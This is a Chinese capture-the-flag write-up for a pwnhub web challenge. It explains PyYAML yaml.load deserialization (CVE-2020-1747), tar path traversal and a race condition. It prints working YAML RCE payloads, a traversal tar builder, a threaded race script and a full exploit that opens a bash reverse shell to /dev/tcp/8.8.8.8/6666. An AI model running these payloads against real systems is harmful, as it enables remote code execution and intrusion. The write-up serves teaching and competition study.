login_game 0x00 源码 pwnhub的一道web题目,题目附件中给出源码,项目结构如下
|– login_game |– application.py |– requirements.txt |– config | |– userConfig.yaml |– static |– templates | |– admin.html | |– index.html | |– login.html | |– result.html |– uploads
其中application.py的源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from flask import Flask, render_template, request, redirect, sessionfrom hashlib import md5import yamlimport zipfileimport tarfileimport osimport reapp = Flask(__name__) app.config["SECRET_KEY" ] = os.environ.get('SECRET_KEY' ) def extractFile (filepath, type ): extractdir = filepath.split('.' )[0 ] if not os.path.exists(extractdir): os.makedirs(extractdir) if type == 'tar' : tf = tarfile.TarFile(filepath) tf.extractall(extractdir) return tf.getnames() if type == 'zip' : zf = zipfile.ZipFile(filepath, 'r' ) zf.extractall(extractdir) return zf.namelist() @app.route('/' , methods=['GET' ] ) def main (): if not session.get('user' ): return redirect('/login' ) else : fn = 'uploads/' + md5(session.get('user' ).encode()).hexdigest() session['fn' ] = fn if not os.path.exists(fn): os.makedirs(fn) return render_template('index.html' ) @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if request.method == 'GET' : return redirect('/' ) if request.method == 'POST' : upFile = request.files['file' ] if re.search(r"\.\.|/" , upFile.filename, re.M|re.I) != None : return "<script>alert('Hacker!');window.location.href='/upload'</script>" savePath = f"{session['fn' ]} /{upFile.filename} " upFile.save(savePath) if tarfile.is_tarfile(savePath): zipDatas = extractFile(savePath, 'tar' ) return render_template('result.html' , path=savePath, files=zipDatas) elif zipfile.is_zipfile(savePath): tarDatas = extractFile(savePath, 'zip' ) return render_template('result.html' , path=savePath, files=tarDatas) else : return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>" @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): with open ('config/userConfig.yaml' , 'w' ) as f: data = {'user' : 'Admin' , 'host' : '127.0.0.1' , 'info' : 'System super administrator and super user.' } f.write(yaml.dump(data)) if request.method == 'GET' : return render_template('login.html' ) if request.method == 'POST' : username = request.form.get('username' ) if username and username == "Admin" : with open ('config/userConfig.yaml' , 'rb' ) as f: userConfig = yaml.load(f.read()) if userConfig['host' ] == request.remote_addr: session['user' ] = userConfig['user' ] return render_template('admin.html' , username=userConfig['user' ], message=userConfig['info' ]) else : return "<script>alert('Can only login locally');history.back(-1);</script>" elif username: session['user' ] = username return redirect('/' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
0x01 考点 1. yaml.load() 反序列化漏洞
YAML 5.1版本后弃⽤了yaml.load(file)这个⽤法,因为觉得很不安全,5.1版本之后就修改了需要指定Loader,通过默认加 载器(FullLoader)禁⽌执⾏任意函数,该load函数也变得更加安全
可以查看requirements.txt,本题⽬中的yaml版本是5.3,这个版本存在rce漏洞
CVE-2020-1747,CVSS 评分9.8,影响 5.3.1 之前的版本。
当不受信任的 YAML 文件通过 full_load 方法或通过 FullLoader 负载器处理时,易受攻击的 PyYAML 库易受任意代码执行漏洞的影响。攻击者可利用该漏洞通过滥用 python/object/new 构建器在系统上滥用任意代码。
可以使用现成的poc CVE-2020-1747 PyYAML PoC (github.com)
2. TarFile.extractall 目录穿越
在 Web 应用中,通常需要解压上传后的压缩文件。在 Python 中,很多人都知道 TarFile.extractall 与 TarFile.extract 函数容易受到 Zip Slip 攻击。攻击者通过篡改压缩包中的文件名,使其包含路径遍历(../)字符,从而发起攻击。这就是为什么压缩文件应该始终被视为不受信来源的原因。zipfile.extractall 与 zipfile.extract 函数可以对 zip 内容进行清洗,从而防止这类路径遍历漏洞。
3. 条件竞争
条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。 条件竞争需要如下的条件:
并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。
0x02 利用思路 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def login (): with open ('config/userConfig.yaml' , 'w' ) as f: data = {'user' : 'Admin' , 'host' : '127.0.0.1' , 'info' : 'System super administrator and super user.' } f.write(yaml.dump(data)) if request.method == 'GET' : return render_template('login.html' ) if request.method == 'POST' : username = request.form.get('username' ) if username and username == "Admin" : with open ('config/userConfig.yaml' , 'rb' ) as f: userConfig = yaml.load(f.read()) if userConfig['host' ] == request.remote_addr: session['user' ] = userConfig['user' ] return render_template('admin.html' , username=userConfig['user' ], message=userConfig['info' ]) else : return "<script>alert('Can only login locally');history.back(-1);</script>" elif username: session['user' ] = username return redirect('/' )
在题目源码中存在login函数,访问时会要求先进行登录,源码中首先把config/userConfig.yaml给重置一遍,再判断username是否为Admin,如果为Admin就会调用yaml.load读取userConfig.yaml来判断其中的host是否等于请求的ip地址,显然request.remote_addr无法通过改变请求头来伪造成127.0.0.1,如果不是Admin就会把用户名存在session中然后进入文件上传功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def extractFile (filepath, type ): extractdir = filepath.split('.' )[0 ] if not os.path.exists(extractdir): os.makedirs(extractdir) if type == 'tar' : tf = tarfile.TarFile(filepath) tf.extractall(extractdir) return tf.getnames() if type == 'zip' : zf = zipfile.ZipFile(filepath, 'r' ) zf.extractall(extractdir) return zf.namelist()
而在upload函数中有一个对于上传压缩包的处理函数extractFile,这个函数的作用是将tar和zip进行解压,而其中的tar解压存在目录穿越漏洞,可以覆盖其他文件,那么可以想到的利用思路就是通过目录穿越上传一个恶意的yaml文件来覆盖原先的userConfig.yaml,再使用login函数中的yaml.load()反序列化来触发,而这个上传时机需要在 yaml.dump() 和 yaml.load() 中间,这里就会使用到条件竞争
0x03 解题过程 先准备好payload
1 2 3 4 5 6 7 8 !!python/object/new:type args: ["z" , !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('cmd')" !!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('cmd')" ]
以上两种均可rce
1 2 3 4 tar = tarfile.open ("1.tar" ,"w" ) tar.add("1.yaml" ,"../../../config/userConfig.yaml" ) tar.close() tar_file = {'file' :('1.tar' ,open ('1.tar' ,'rb' ).read())}
将写好的payload写入tar压缩包中,命名为../../../config/userConfig.yaml
用于覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 def upload (): while True : s.post(url + 'login' , data=login_data) s.post(url+'upload' ,files=tar_file) def Admin (): while True : t=s.post(url + 'login' , data=Admin_data).text print (t) for i in range (0 ,10 ): threading.Thread(target=upload).start() threading.Thread(target=Admin).start()
最后利用条件竞争来同时上传文件和login,成功反弹shell
1 2 3 ctfer@fd94a5cf6adb:/home/app/src$ cat /flag cat /flagflag{d24B4_5a13ef1afde4B6A_62aceta2hf}
0x04 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport threadingimport tarfileurl='http://121.40.89.206:23631/' login_data={'username' :'mac' ,'password' :'123' } Admin_data={'username' :'Admin' ,'password' :'123' } s=requests.session() with open ("1.yaml" ,"w" ) as file: file.write('''!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('bash -c \\"bash -i >& /dev/tcp/8.8.8.8/6666 0>&1\\"')"]''' )tar = tarfile.open ("1.tar" ,"w" ) tar.add("1.yaml" ,"../../../config/userConfig.yaml" ) tar.close() tar_file = {'file' :('1.tar' ,open ('1.tar' ,'rb' ).read())} def upload (): while True : s.post(url + 'login' , data=login_data) s.post(url+'upload' ,files=tar_file) def Admin (): while True : t=s.post(url + 'login' , data=Admin_data).text print (t) for i in range (0 ,10 ): threading.Thread(target=upload).start() threading.Thread(target=Admin).start()